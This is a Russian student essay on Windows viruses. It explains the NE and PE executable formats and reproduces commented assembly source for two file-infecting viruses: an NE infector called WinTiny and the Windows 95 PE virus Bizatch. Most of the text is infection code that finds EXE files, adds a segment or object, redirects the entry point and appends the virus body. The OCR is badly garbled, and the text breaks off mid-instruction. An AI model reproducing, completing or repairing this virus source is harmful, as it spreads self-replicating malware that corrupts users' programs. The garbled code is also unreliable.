Реферат по предмету "Программирование"


Вирусы под Windows

ВИРУСЫ ПОД WINDOWS В этой главе рассказаноо вирусах, заражающих фай-лы в операционной средеWindows. Наиболее подробнорассмотрены вирусы подWindows 95, Представленыисходные тексты вирусовс подробными комментариями,Также приведены основныесведения о запускаемых фай-лах программ под Windows,их структуре, отличияхот файлов DOS, Вирусы под

Windows 3.11 В исполняемом файле Windows содержатся в различных комбинацияхкод, данные и ресурсы. Ресурсы - это BIN-данные для прикладных про-грамм. Учитывая возможность запуска файла из DOS, формат данныхдолжен распознаваться обеими системами - и DOS, и Windows.Для этого все исполняемые файлы под Windows содержат два заголов-ка. Первый заголовок старый - распознается

DOS как программа, вы-водящая на экран This program requires Microsoft Windows. Второйзаголовок NewEXE - для работы в Windows см. приложение. Как же заразить Windows NewEXE На первый взгляд файл форматаWinNE - обычный ЕХЕ-файл. Начинается он с заголовка ЕХЕ дляDOS и программы STUB, которая выводит сообщение

This programrequires Microsoft Windows. Если в ЕХЕ-заголовке по смещению 18h стоит число 40h или больше,значит по смещению 3Ch находится смещение заголовка NewEXE. Заголовок NewEXE начинается с символов NE. Далее идет собствен-но заголовок, в котором содержатся различные данные, в том числе ад-реса смещений таблиц сегментов, ресурсов и другие. После заголовкарасположена таблица сегментов, за ней - все остальные

таблицы, далееразмещены собственно сегменты с кодом. Итак, порядок действий 1. Адрес заголовка NewEXE DOSHeader3Ch уменьшается на 2. Заголовок NewEXE сдвигается на 8 байт назад. 3. В таблицу сегментов добавляется новый элемент, описывающийсегмент вируса. 4. CSIP NewEXE изменяется на начало вирусного кода, само теловируса дописывается в конец файла. Для загрузки в память надо перехватить вектор INT 21h из-подWindows необходимо использовать функции

DPMI INT 31h. Дей-ствия выделение сегмента, изменение его прав доступа, запись вируса,перехват прерывания 21h делается с помощью функций DPMI. Принципы заражения такие же, как и при зараженииобычного ЕХЕ-фай-ла изменяется структура ЕХЕ-файла и среда, в которЬй он работает. .286 .MODEL TINY.CODE Сохраним регистры и флагиpushfpushapush dspush es .

Проверим, доступен ли DPMI. Если доступен,Продолжаем, если нет - выходим mov ax,1686h int 2Fh or ax, ax jz dpmiexist Восстановим регистры и флагиexit pop es pop ds popa popf .Запустим программу-носитель db OEAhreloclP dw 0relocCS dw OFFFFhdpmiexist Выделим линейный блок памяти, используя DPMImov ax,0501hmov cx,OFFFFhxor bx.bxint 31 h Сохраним индекс и 32-битный линейный адрес.полученного

блока памяти в стеке push si push di push bx push ex Создадим дескриптор в таблице LDTхог ах,ахmov ex, 1int 31 h B поле адреса полученного дескриптора.установим адрес нужного блока памяти mov bx,ax mov ах,7 pop dx pop ex int 31h B поле предела полученного дескриптораостановим размер выделенного блока памяти mov ах,8 mov dx,OFFFFh хог сх.сх int 31h В поле прав доступа полученного дескриптора установим значение,соответствующее

сегменту данных, доступному для чтения и записи mov ах,9 mov cl, 1111001 Ob хог ch,ch int 31h 3агрузим селектор в регистр DS. После этого регистр DS будетоказывать на выделенный блок памятиmov ds.bx .Читаем из стека и сохраняем в памятииндекс полученного блока памяти pop memhnd2 pop memhnd Получим текущую DTAmov ah,2Fhint 21 hmov DTA,bxmov

DTA2,es Найдем первый ЕХЕ-файл маска .ЕХЕmov ah,4Ehxor ex,ex mov dx,OFFSET wildexepush dspush cspop dsint 21 hpop ds Если файл найден, перейдем к заражению, иначе освободимвыделенную область памяти и запустим программу-носительjnc foundexe 0свободим выделенную область памятиcall free .Запустим программу-носительjmp exit .Перейдем к следующему файлу - этот не подходитcloseexe Закроем файлmov ah,3Ehint 21h Найдем следующий файлmov ah,4Fhint 21h

Если файл найден, перейдем к заражению, иначе освободим выделенную область памяти и запустим программу-носительjnc foundexe 0свободим выделенную область памятиcall free 3апустим программу-носительjmp exit Файл найден, проверим его на пригодность к заражениюfound ехе 0ткроем файл для чтения и записиpush ds Ids dx, DWORD PTR DTAadd dx.lEhmov ax,3D02hint 21 hpop ds .Прочтем старый заголовокmov dx.OFFSET oldhdrmov bx.axmov cx,40hmov ah,3Fhint 21h

Проверим сигнатуру, это ЕХЕ-файлcmp WORD PTR oldhdr,ZMjne closeexe Проверим смещение таблицы настройки адресов. Если значение больше 40h, то это не обычный ЕХЕ-файл. Не будем сразу делать вывод, что это NewEXE, потомучто это может оказаться РЕ LE LX-executable или другой PE-executable описан в разделе, посвященном

Windows 95, остальные типы ЕХЕ-файлов в этой книге не рассматриваются cmp oldhdr18h,WORD PTR 40h jb closeexe .Перейдем ко второму заголовку может быть, это NewEXE Переводим указатель к смещению, обозначенному в поле 3Ch mov dx.WORD PTR oldhdr3Ch mov cx.WORD PTR oldhdr3Eh mov ax,4200h int 21h Прочитаем второй заголовокmov dx.OFFSET newJ-idrmov ex,40hmov ah,3fhint 21h

Проверим сигнатуру, если сигнатура NE, то это NewEXE-файлcmp WORD PTR newhdr,ENjne closeexe Проверим, для Windows ли предназначен этот файл. Если да, будемзаражать, иначе переходим к следующему файлу mov al,newhdr36h and al,2 jz closeexe .Переместим указатель чтениязаписи в таблицу сегментов,к элементу, обозначающему сегмент точки старта программы.Для этого прочтем значение регистра CS при запускеэтого

ЕХЕ-файла mov dx.WORD PTR newhdr16h По номеру сегмента вычислим положение соответствующего емуэлемента в таблице сегментов dec dx shi dx,3 K результату прибавим смещение таблицы сегментов и смещение.заголовка NewEXE add dx,WORD PTR newhdr22h add dx.WORO PTR oldhdr3ch mov cx.WORD PTR oldhdr3eh Переместим указатель чтениязаписиmov ax,4200hint 21 h Прочтем из таблицы сегментов смещение логического сектораmov dx,

OFFSET tempmov ex, 2mov ah,3Fhint 21 h .Вычислим смещение сегмента, опираясь на значения.смещения логического сектора и множителя секторов mov dx.WORD PTR temp mov cx.WORD PTR newhdr32h xor ax.ax calentry shi dx,1 rcl ax,1 loop calentry .Переместим 16 старших бит 32-битного результата в регистр СХmov cx,ax Прибавим к результату смещение стартового адреса

IPadd dx,WORD PTR newhdr14hadc cx.O Переместим указатель позиции чтениязаписи на точку старта.программы - результат вычисления mov ax,4200h int 21 h Считаем первые 10 байт после старта программыmov dx, OFFSET tempmov cx,10hmov ah,3Fhint 21 h Проверим, заражен ли файл. Если считанные 10 байт в точностисовпадают с первыми 10-ю байтами нашего вируса, файл заражен.В этом случае переходим к поиску следующего, иначе - заражаем mov si.

OFFSET temp push cs pop es xor di.di mov ex, 8 eld rep cmpsw jne oktoinfect jmp closeexe Приступим к заражениюoktoinfect Переместим NE-заголовок на 8 байт ближе к началу файла. Исправим соответствующие поля старого заголовкаsub WORD PTR oldhdr10h,8 sub WORD PTR oldhdr3ch,8sbb WORD PTR oldhdr3eh,0 Исправим значения таблиц в новом заголовке, чтобы переместилисьтолько заголовок и таблица

сегментов без остальных таблиц add WORD PTR newhdr4,8 add WORD PTR newhdr24h,8 add WORD PTR newhdr26h,8 add WORD PTR newhdr28h,8 add WORD PTR newhdr2ah,8 Сохраним оригинальные значения точек входа CS и IPpush WORD PTR newhdr14hpop hostJp pushTWORD PTR newhdr16hpop hostcs Добавим еще один сегмент в таблицу сегментов и установимточку входа на его начало

mov WORD PTR newhdr14h,0 inc WORD PTR newhdr1ch push WORD PTR newhdr1ch pop WORD PTR newhdr16h .Переместим указатель чтениязаписи в начало файлак старому заголовку хог сх.сх xor dx.dx mov ax,4200h int 21 h 3апишем старый заголовок, так как модифицированынекоторые поля его копии в памяти mov dx.OFFSET oldhdr mov cx,40h mov ah,40h int 21 h Переместим указатель чтениязаписи на начало новогозаголовка его переместили на 8 байт к началу файла

mov dx.WORD PTR oldhdr3ch mov cx,WORD PTR oldhdr3eh mov ax,4200hint 21 h 3апишем новый заголовок, так как в его копиив памяти некоторые поля модифицированы mov dx, OFFSET newhdr mov cx,40h mov ah,40h int 21h .Переместим указатель чтениязаписи на 8 байтвперед - к началу таблицы сегментов хог сх.сх mov dx,8 mov ax,4201 h int 21h рассчитаем размер таблицы сегментов и считаем ее в памятьmov dx,OFFSET tempmov cx.WORD

PTR newhdr1chdec exshi cx.3push exmov ah,3Fhint 21h Переместим указатель чтениязаписи назад, к позицииза 8 байт перед началом таблицы сегментов pop dx push dx add dx,8 neg dx mov cx 1 mov ax,4201h int 21h 3апишем таблицу сегментов в файл, но не на ее прежнее место,а на 8 байт ближе к началу файла mov dx,OFFSET temp pop ex mov ah,40h int 21h .Прочтем текущую позицию чтениязаписи конец таблицы сегментовxor сх,схxor dx.dxmov ax,4201hint 21 h

Сохраним в стеке текущую позицию чтениязаписиpush dxpush ax .Получим длину файла, переместив указательтениязаписи в конец файла xor сх.сх xor dx,dx mov ax,4202h int 21 h Сохраним в стеке длину файлаpush dxpush ax Вычислим и сохраним длину логического сектораmov cx.WORD PTR newhdr32hmov ax,1shi ax.clmov logseclen,ax

Вычислим длину файла в логических секторахmov сх.ахpop axpop dxdiv ex Учтем неполный сектор. Если в результате получилсяостаток, увеличим количество секторов or dx,dx jz normd inc axnormd 3аполним поля нового элемента в таблице сегментовmov mysegentry,ax 3-1436 mov mysegentry2,OFFSET virend mov mysegentry4,180h mov mysegentry6,OFFSET virend Восстановим из стека позицию в файле конца таблицы секторовpop dxpop ex

Переместим указатель чтениязаписи к этой позицииmov ax,4200hint 21 h .Запишем в конец таблицы новый элементmov dx,OFFSET mysegentrymov ex,8mov ah,40hint 21 h Скопируем тело вируса в область памяти, которую выделили в начале программы, для изменений в нем. В защищенном режиме а работаем именно в нем, нельзя производить запись в сегмент кода. Если по какой-то причине нужно произвести изменение в сегменте кода, создается алиасный дескриптор

данных дескриптор, содержащий то же смещение и длину, что и сегмент кода, и дальнейшая работа ведется с ним. В данном случае просто воспользуемся выделенным блоком памяти push ds pop es push cs pop ds xor si,si mov di,OFFSET temp mov ex,OFFSET virend eld rep movsb push es pop ds Инициализируем адрес точки входаmov si,OFFSET tempmov WORD PTR sirelocP,0mov WORD PTR sirelocCS,OFFFFh Переместим указатель чтениязаписи на новую точку входа

mov ax,mysegentry mov cx,logseclen mul ex mov cx.dx mov dx.ax mov ax,4200h int 21h 3апишем тело вируса в файл mov dx, OFFSET temp mov ex,OFFSET virend mov ah,40h int 21h .Инициализируем поля перемещаемого элементаmov WORD PTR relocdata,1mov BYTE PTR relocdata2,3mov BYTE PTR relocdata3,4mov WORD PTR relocdata4,OFFSET reloclP 3апишем перемещаемый элементmov dx,

OFFSET relocdatamov ex, 10mov ah,40hint 21h Закроем файлmov ah,3Ehint 21h .Освободим выделенный блок памятиcall free 3апустим программу-носительjmp exit .Процедура, освобождающая выделенный блок памятиfree PROC NEAR mov ax,0502h mov si,memhnd mov di,memhnd2 з int 31 hretfree ENDP Маска для поиска файловwildexe DB ЕХЕ О Имя вируса

DB WinTiny Идентификатор, указывающий на конец инициализированных данныхvirend .Индекс выделенного блока памятиmemhnd DW DW Адрес текущей DTADTA DW DW Место для хранения старого заголовкаolcLhdr DB 40h dup .Место для хранения нового заголовкаnewhdr DB 40h dup Длина логического номера сектораlogseclen

DW Новый элемент в таблице сегментовmysegentry DW DW DW DW .Перемещаемый элементrelocdataDW DB DB DW 3начение оригинальной точки входаhostcs DW hostJp DW 0бласть памяти для использованияtemp DB END Вирусы под Windows 95 Формат Portable Executable используется Win32, Windows NTи Windows 95, что делает его очень популярным, и в будущем, возмож-но, он станет доминирующим

форматом ЕХЕ. Этот формат значитель-но отличается от NE-executable, используемого в Windows 3.11. вызов Windows 95 API Обычные приложения вызывают Windows 95 API Application ProgramInterface используя таблицу импортируемых имен. Когда приложениезагружено, данные, необходимые для вызова

API, заносятся в эту табли-цу. В Windows 95, благодаря предусмотрительности фирмы-производите-ля Microsoft, модифицировать таблицу импортируемых имен невозможно. Эта проблема решается непосредственным вызовом KERNEL32. То естьнеобходимо полностью игнорировать структуру вызова и перейти не-посредственно на точку входа DLL. Чтобы получить описатель Handle DLLEXE, можно использоватьвызов

API GetModuleHandle или другие функции для получения точеквхода модуля, включая функцию получения адреса API GetProcAddress. Как вызывать API, имея возможность вызывать его и в то же время та-кой возможности не имея Ответ вызывать API, расположение которо-го в памяти известно - это API в файле KERNEL32.DLL, он находитсяпо постоянному адресу. Вызов API приложениями выглядит приблизительно так call

APLFUNCTIONJMAMEнапример call CreateFileAПосле компиляции этот вызов выглядит так db 9Ah .инструкция calldd 7777 смещение в таблице переходов Код в таблице переходов похож на такой jmp far offset into import table Смещение в таблице импортируемых имен содержит адрес диспетчерадля данной функции API. Этот адрес можно получить с помощьюGetProcAddress API. Диспетчер функций выглядит так push function valuecall

Module Entrypoint Зная точки входа, можно вызывать их напрямую, минуя таблицу этогомодуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стан-дартной точке на вызовы непосредственно функций. Просто сохраняемв стеке значение функции и вызываем точку входа в модуль. Модуль KERNEL32 располагается в памяти статически - именно таки предполагалось. Но конкретное место его расположения в разных вер-сиях

Windows 95 отличается. Это было проверено. Оказалось, что однафункция получение временидаты отличается номером. Для компен-сации этих различий добавлена проверка двух различных мест на нали-чие KERNEL32. Но если KERNEL32 все-таки не найден, вирус возвра-щает управление программе-носителю. Адреса и номера функций Для June Test Release KERNEL32 находится по адресу OBFF93B95h, дляAugust Release - по адресу OBFF93ClDh.

Можно найти другие значе-ния функции, используя 32-битный отладчик. В таблице 3.1 приведеныадреса функций, которые нужны для работы вируса. Таблица 3.1. Адреса некоторых функций KERNEL Функция Адрес в June Test Release Адрес в August TestRelease GetCurrentDir BFF77744h BFF77744h SetCurrentDir BFF7771Dh

BFF7771Dh GetTime BFF9DOB6h BFF9D14Eh MessageBox BFF638D9h BFF638D9h FindFile BFF77893h BFF77893h FindNext BFF778CBh BFF778CBh CreateFile BFF77817h BFF77817h SetFilePointer BFF76FAOh BFF76FAOh ReadFile BFF75806h BFF75806h WriteFile BFF7580Dh BFF7580Dh CloseFile BFF7BC72H BFF7BC72h Соглашения о вызовах

Windows 95 написан на языках C в основном и Assembler. И, хотясоглашения о вызовах просты для применения, Microsoft их не исполь-зует. Все API под Wm95 используют Pascal Calling Convention. При-мер - API, описанный в файлах справки Visual C FARPROC GetProcAddress HMODULE hModule, описатель

DLL-модуляLPCSTR IpszProc имя функции На первый взгляд кажется, что достаточно лишь сохранить в стеке опи-сатель DLL-модуля он стоит перед указателем на имя функции и выз-вать API. Но это не так. Параметры, согласно Pascal Calling Convention,должны быть сохранены в стеке в обратном порядке push offset IpszProc push dword ptr hModule call GetProcAddress

Используя 32-битный отладчик, можно оттрассировать вызов и найтивызов KERNEL32 для каждого конкретного случая. Это позволит полу-чить номер функции и обойтись без необходимой для вызова таблицыимпортируемых имен. Заражение файлов формата PE-executable Определение положения начала РЕ-заголовка происходит аналогичнопоиску начала NE-заголовка. Если смещение таблицы настройки адре-сов поле 18h в заголовке

ЕХЕ-файла 40h или больше, то по смещениюЗСЬ находится смещение PE-executable заголовка. Сигнатура PE-execu-table РЕ находится, как и у NE-executable ЕХЕ-файла, в начале но-вого заголовка. Внутри РЕ-заголовка находится таблица объектов. Ее формат наиболееважен по сравнению с прочими. Для добавления вирусного кода в но-ситель и перехвата вирусом управления необходимо добавить элементв

таблицу объектов. Основные действия заражения PE-executable файла 1. Найти смещение заголовка PE-executable в файле. 2. Считать достаточное количество информации из заголовка длявычисления его полного размера. 3. Считать весь РЕ-заголовок и таблицу объектов. 4. Добавить новый объект в таблицу объектов. 5. Установить точку входа

RVA на новый объект. 6. Дописать вирус к файлу по вычисленному физическому смещению. 7. Записать измененный РЕ-заголовок в файл.Для определения расположения таблицы объектов следует воспользо-ваться значением переменной HeaderSize не путать с NTheadersize, которая содержит совместный размер заголовков DOS, РЕи таблицы объектов. Для чтения таблицы объектов необходимо считать

HeaderSize байтот начала файла. Таблица объектов расположена непосредственно за NT-заголовком. Зна-чение NTheadersize показывает количество байт, следующих за полемflags. Итак, для определения смещения таблицы объектов нужно по-лучить NTheaderSize и добавить размер поля флагов 24. Добавление объекта получив количество объектов, умножить его на 40размер элемента таблицы объектов. Таким образом определяется сме-щение, по которому будет расположен

вирус. Данные для элемента таблицы объектов должны быть вычислены с исполь-зованием информации в предыдущем элементе элементе носителя. RVAprev RVAprev Virtual SizeOBJ Alignment1 OBJ Alignment Virtual Sizesize of virusbuffer any spaceOBJ Alignment1 OBJ Alignment Physical Sizesize of virusFile Alignment1 File Alignment Physical Offsetprev Physical

Offsetprev Physical Size Object Flagsdb 40h,0,O.COh Entrypoint RVARVA Теперь необходимо увеличить на единицу поле количество объектови записать код вируса по вычисленному физическому смещениюв размере физического размера байт. Пример вируса под Windows 95 .386 locals jumps .model flat.STDCALL include win32.inc некоторые 32-битные константы и структуры

L equ LARGE 0пределим внешние функции, к которым будет подключаться вирусextrn BeginPaintPROCextrn CreateWindowExAPROCextrn DefWindowProcAPROCextrn DispatchMessageAPROCextrn EndPaintPROCextrn ExitProcess PROCextrn FindWindowAPROCextrn GetMessageAPROCextrn GetModuleHandleAPROCextrn GetStockObjectPROCextrn lnvalidateRectPROCextrn

LoadCursorAPROCextrn LoadlconAPROCextrn MessageBeepPROCextrn PostQuitMessagePROCextrn RegisterClassAPROCextrn ShowWindowPROCextrn SetWindowPosPROCextrn TextOutAPROCextrn TranslateMessagePROCextrn UpdateWindowPROC Для поддержки Unicode Win32 интерпретирует некоторые функции для ANSI или расширенного набора символов. В качестве примера рассмотрим

ANSI CreateWindowEx equ CreateWindowExA DefWindowProc equ DefWindowProcA DispatchMessage equ DispatchMessageA FindWindow equ FindWindowA GetMessage equ GetMessageA GetModuleHandle equ GetModuleHandleA LoadCursor equ LoadCursorA Loadlcon equ LoadlconA MessageBox equ MessageBoxA

RegisterClass equ RegisterClassA TextOut equ TextOutA data newhwnd dd 0 Ippaint PAINTSTRUCT msg MSGSTRUCT we WNDCLASS mbxcount dd 0 hinst dd 0 szTitleName db Bizatch by Quantum VLAD activated zero db 0 szAlternate db more than once,0 szClassName db ASMCLASS32,0 Сообщение, выводимое в окнеszPaint db Left Button pressedsnum db Oh times 0 .Размер сообщения

MSGL EQU -offset szPaint .code Сюда обычно передается управление от загрузчика.start .Получим HMODULEpush L О call GetModuleHandlemov hlnst,eaxpush L 0 push offset szClassNamecall FindWindowor eax.eaxjz regclass .Пространство для модификации строки заголовка mov zero, regclass Инициализируем структуру WndClass mov wc.clsStyle,CSHREDRAWCSVREDRAWCSGLOBALCL

ASS mov wc.clsLpfnWndProc,offset WndProc mov wc.clsCbClsExtra,0 mov wc.clsCbWndExtra,0 mov eax,hlnst mov wc.clsHlnstance, eax Загружаем значок push L IDLAPPLICATIONpush L 0call Loadlconmov wc.clsHlcon, eax Загружаем курсор push L IDC.ARROW push L 0 call LoadCursor mov wc.clsHCursor, eax .Инициализируем оставшиеся поля структуры WndClassmov wc.clsHbrBackground,

COLORWINDOW1mov dword ptr wc.clsLpszMenuName,0mov dword ptr wc.clslpszClassNameJ.offset szClassName Регистрируем класс окнаpush offset wecall RegisterClass Создаем окно push L 0 .IpParampush hinst .hinstancepush L 0 Менюpush L 0 hwnd родительского окнаpush L CWJJSEDEFAULT Высотаpush L CWJJSEDEFAULT Длинаpush L CWJJSEDEFAULT

Ypush L CWJJSEDEFAULT Xpush L WSJ3VERLAPPEDWINDOW Stylepush offset szTitleName Title Stylepush offset szClassName Class namepush L 0 extra stylecall CreateWindowEx .Сохраняем HWND mov newhwnd, eax .Отображаем окно на экранеpush L SW.SHOWNORMALpush newhwndcall ShowWindow 0бновляем содержимое окнаpush newhwndcall UpdateWindow 0чередь сообщенийmsgJoop .Прочитаем следующее сообщение из очередиpush

L Оpush L Оpush L Оpush offset msgcall GetMessage Если функция GetMessage вернула нулевое значение, то завершаемобработку сообщений и выходим из процесса стр ах.0 je endJoop Преобразуем виртуальные коды клавиш в сообщения клавиатурыpush offset msgcall TranslateMessage Передаем это сообщение назад в Windowspush offset msgcall DispatchMessage Переходим к следующему сообщениюjmp msgJoop

Выход из процессаendJoop push msg.msWPARAM call ExitProcess .Обработка сообщений окна. Win32 требует сохранения регистров ЕВХ, EDI. ESI. Запишем эти регистры после uses в строке ргос.Это позволит Ассемблеру сохранить ихWndProc proc uses ebx edi esi, hwndDWORD, wmsgDWORD,wparamDWORD, lparamDWORDLOCAL theDC DWORD Проверим, какое сообщение получили, и перейдем к обработкеcmp wmsg,

WMDESTROYje wmdestroy стр wmsg,WMRBUTTONDOWNje wmrbuttondowncmp wmsg,WMSIZEje wmsize cmp wmsg.WMCREATEje wmcreate cmp wmsg,WMLBUTTONDOWN je wmlbuttondown cmp wmsg,WMPAINT je wm paint cmp wmsg,WMGETMINMAXINFO je wmgetminmaxinfo Данная программа не обрабатывает это сообщение Передадим его Windows,чтобы оно было обработано по умолчаниюjmp defwndproc .

Сообщение WMPAINT перерисовать содержимое окнаwmpaint Подготовим окно для перерисовкиpush offset Ippaintpush hwndcall BeginPaintmov theDC, eax Переведем в ASCII-формат значение mbxcount, котороедоказывает, сколько раз была нажата левая кнопка мыши mov eax,mbxcount mov edi, offset snum call HexWrite32 Вывод строки в окно push L MSGL Длина строки push offset szPaint

Строка push L 5 Y push L 5 X push theDC DCcall TextOut 0бозначим завершение перерисовки окнаpush offset Ippaintpush hwndcall EndPaint Выходим из обработки сообщенияmov eax, 0jmp finish Сообщение WMCREATE создание окнаwmcreate Выходим из обработки сообщенияmov eax, Оjrnp finish Сообщение, не обрабатываемое данной программой, передаем

Windowsdefwndproc push Iparam push wparam push wmsg push hwnd call DefWindowProc Выходим из обработки сообщенияjmp finish Сообщение WMDESTROY уничтожение окнаwmdestroy Закроем потокpush L Оcall PostQuitMessage Выходим из обработки сообщенияmov eax, Оjmp finish .Сообщение WMJ-BUTTONDOWN нажата левая кнопка мышиwmlbuttondown inc mbxcount

Обновим содержимое окнаpush L Оpush L Оpush hwndcall InvalidateRect Выходим из обработки сообщенияmov eax, Оjmp finish Сообщение WMRBUTTONDOWN нажата правая кнопка мыши wmrbuttondown push L 0call MessageBeep Выход им из обработки сообщенияjmp finish Сообщение WMSIZE изменен размер окнаwmsize Выходим из обработки сообщенияmov eax,

Оjmp finish Сообщение WMGETMINMAXINFO попытка изменить размерили положение окнаwmgetminmaxinfo Заполним структуру MINMAXINFOmov ebx, Iparam mov MINMAXINFO ptr ebx.mintrackpositionx,350mov MINMAXINFO ptr ebx.mintrackpositiony,60 .Выходим из обработки сообщенияmov eax, 0jmp finish Выходим из обработки сообщенияfinish retWndProc endp Процедура перевода байта в ASCII-формат для печати.

Значение,находящееся в регистре AL, будет записано в ASCII-форматепо адресу ESEDIHexWriteS proc Разделяем байт на полубайты и загружаем их в регистры АН и ALmov ah.aland al.OFhshr ah,4 Добавляем 30h к каждому полубайту, чтобы регистры содержали кодысоответствующих символов ASCII. Если число, записанное в полубайте, было больше 9,то значение в этом полубайте надо еще корректироватьor ax,3030h .Меняем полубайты местами, чтобы регистр

АН содержал младший.полубайт, а регистр AL - старшийxchg al.ah Проверим. надо ли корректировать младший полубайт если да - корректируем cmp ah, 39h ja 4 Проверим, надо ли корректировать старший полубайт,если да - корректируем1 cmp al,39h ja 3 Сохраним значение по адресу ESEDI2 stosw ret .Корректируем значение старшего полубайта3 sub al, 30h add al, A-10 jmp 2 Корректируем значение младшего полубайта4 sub ah,

30h add ah, A-10 jmp 1HexWriteS endp Процедура перевода слова в ASCII-формат для печати.Значение, находящееся в регистре АХ, будет записанов ASCII-формате по адресу ESEDIHexWrite16 proc Сохраним младший байт из стекаpush ax 3агрузим старший байт в регистр А1xchg al,ah .Переведем старший байт в ASCII-форматcall

HexWrite8 Восстановим младший байт из стекаpop ax Переведем младший байт в ASCII-формат call HexWrite8 retHexWrite-16 endp Процедура перевода двойного слова в ASCII-формат для печати.3начение, находящееся в регистре ЕАХ, будет записанов ASCII-формате по адресу ESEDIHexWrite32 proc .Сохраним младшее слово из стекаpush eax Загрузим старшее слово в регистр

АХshr eax, 16 Переведем старшее слово в ASCII-форматcall HexWrite-16 Восстановим младшее слово из стекаpop eax Переведем младшее слово в ASCII-формат call HexWrite-16 retHexWrite32 endp Сделаем процедуру WndProc доступной извнеpublic WndProcends Здесь начинается код вируса. Этот код переписывается из файлав файл.

Все вышеописанное - всего лишь программа-носительvladseg segment para public vlad assume csvladsegvstart Вычислим текущий адрес call recalcrecalc pop ebp mov eax.ebp db 2Dh Код команды SUB AXsubme dd 30000hrecalc-vstart Сохраним адрес в стекеpush eax Вычислим стартовый адрес вирусного кодаsub ebp.offset recalc .Ищем KERNEL. Возьмем вторую известную нам точку KERNELmov eax,ebpoffset kern2

Проверим ключ. Если ключа нет, перейдем к точке 1cmp dword ptr eax,5350FC9Chjnz notkern2 KERNEL найден, точка 2 mov eax,ebpoffset kern2jmp movit Точка 2 не подошла, проверим точку 1notkern2 Возьмем адрес первой известной нам точки KERNELmov eax,ebpoffset kern1 Проверим ключ, если ключа нет - выходимcmp dword ptr eax,5350FC9Chjnz nopayload KERNEL найден, точка 1 mov eax,ebpoffset kern1

KERNEL найден, адрес точки входа находится в регистре EAXmovit .Сохраним адрес KERNELmov ebpoffset kern.eaxeld 3апомним текущую директориюlea eax, ebpoffset orgdirpush eaxpush 255call GetCurDir Инициализируем счетчик заражений mov byte ptr ebpoffset countinfect,0 Ищем первый файлinfectdir lea eax, ebpoffset win32datathang push eax lea eax, ebpoffset fname push eax call FindFile Сохраним индекс для поиска mov dword ptr ebpoffset searchhandle,eax .

Проверим, найден ли файл. Если файл не найден меняем директорию стр еах 1 jz foundnothing Откроем файл для чтения и записиgofile push О push dword ptr ebpoffset fileattr FILEATTRIBUTENORMAL push 3 OPENEXISTING push 0 push 0 push 80h40h GENERICREADGENERICWRITE lea eax, ebpoffset fullname push eax call CreateFile .Сохраним описатель файла mov dword ptr ebpoffset ahandj.eax

Проверим, не произошла ли ошибка Если ошибка произошла, ищем следующий файл стр еах 1 jz findnextone .Поставим указатель позиции чтениязаписи на полесо смещением РЕ-заголовка push О push О push 3Ch push dword ptr ebpoffset ahand call SetFilePointer Считаем адрес РЕ-заголовкаpush О lea eax,ebpoffset bytesreadpush eaxpush 4 lea eax,ebpoffset peheaderoffsetpush eax push dword ptr ebpoffset ahandcall

ReadFile .Поставим указатель позиции чтениязаписи на начало РЕ-заголовкаpush Оpush О push dword ptr ebpoffset peheaderoffsetpush dword ptr ebpoffset ahandcall SetFilePointer Считаем число байт, достаточное для вычисления полного размераРЕ-заголовка и таблицы объектов push О lea eax, ebpoffset bytesread push eax push 58h lea eax, ebpoffset peheader push eax push dword ptr ebpoffset ahand call ReadFile Проверим сигнатуру.

Если ее нет, закрываемэтот файл и ищем следующий cmp dword ptr ebpoffset peheader,00004550h jnz notape .Проверим файл на зараженность. Если файл заражен,то закрываем этот файл и ищем следующий cmp word ptr ebpoffset peheader4ch,OFOODh jz notape cmp dword ptr ebpoffset 52,40h jz notape Поставим указатель позиции чтениязаписи на начало РЕ-заголовкаpush Оpush О push dword ptr ebpoffset peheaderoffsetpush dword ptr ebpoffset ahandcall

SetFilePointer Считаем весь РЕ-заголовок и таблицу объектовpush О lea eax, ebpoffset bytesreadpush eax push dword ptr ebpoffset headersizelea eax, ebpoffset peheaderpush eax push dword ptr ebpoffset ahandcall ReadFile Установим признак заражения mov word ptr ebpoffset peheader4ch,OFOODh Найдем смещение таблицы объектовxor eax.eax mov ax, word ptr ebpoffset NtHeaderSizeadd eax,18hmov dword ptr ebpoffset ObjectTableoffset,eax

Вычислим смещение последнего null объекта в таблице объектовmov esi,dword ptr ebpoffset ObjectTableoffsetlea eax,ebpoffset peheaderadd esi,eaxxor eax.eax mov ax,ebpoffset numObjmov ecx.40 xor edx.edx mul ecx add esi.eax Увеличим число объектов на 1 inc word ptr ebpoffset numObj lea edi,ebpoffset newobject xchg edi.esi Вычислим относительный виртуальный адрес Relative Virtual Addressили RVA нового объекта mov eax, edi-588 add eax,edi-5812 mov ecx.dword ptr ebpoffset

objalign xor edx.edx div ecx inc eax mul ecx mov dword ptr ebpoffset RVA,eax Вычислим физический размер нового объектаmov ecx.dword ptr ebpoffset filealignmov eax.vend-vstartxor edx.edxdiv ecxinc eaxmul ecxmov dword ptr ebpoffset physicalsize,eax .Вычислим виртуальный размер нового объектаmov ecx.dword ptr ebpoffset objalignmov eax.vend-vstarttOOOhxor edx.edxdiv ecxinc eaxmul ecxmov dword ptr ebpoffset virtualsize,eax

Вычислим физическое смещение нового объектаmov eax,edi-5820add eax,edi-5816mov ecx.dword ptr ebpoffset filealignxor edx.edxdiv ecx inc eax mul ecx mov dword ptr ebpoffset physicaloffset,eax Обновим размер образа размер в памяти файла mov eax,vend-vstart1000h add eax,dword ptr ebpoffset imagesize mov ecx, ebpoffset objalign xor edx.edx div ecx inc eax mul ecx mov dword ptr ebpoffset imagesize,eax .Скопируем новый объект в таблицу объектов mov ecx,

10 rep movsd Вычислим точку входа RVA mov eax.dword ptr ebpoffset RVA mov ebx.dword ptr ebpoffset entrypointRVA mov dword ptr ebpoffset entrypointRVA,eax sub eax.ebx add eax,5 Установим значение, необходимое для возврата в носительmov dword ptr ebpoffset subme,eax Поставим указатель позиции чтениязаписи на начало РЕ-заголовкаpush Оpush О push dword ptr ebpoffset peheaderoffsetpush dword ptr ebpoffset ahandcall

SetFilePointer Запишем РЕ-заголовок и таблицу объектов в файлpush О lea eax, ebpoffset bytesreadpush eax push dword ptr ebpoffset headersizelea eax, ebpoffset peheaderpush eax push dword ptr ebpoffset ahandcall WriteFile Увеличим счетчик заражений inc byte ptr ebpoffset countinfect Поставим указатель позиции чтениязаписипо физическому смещению нового объекта push О push О push dword ptr ebpoffset physicaloffset push dword ptr ebpoffset ahand call

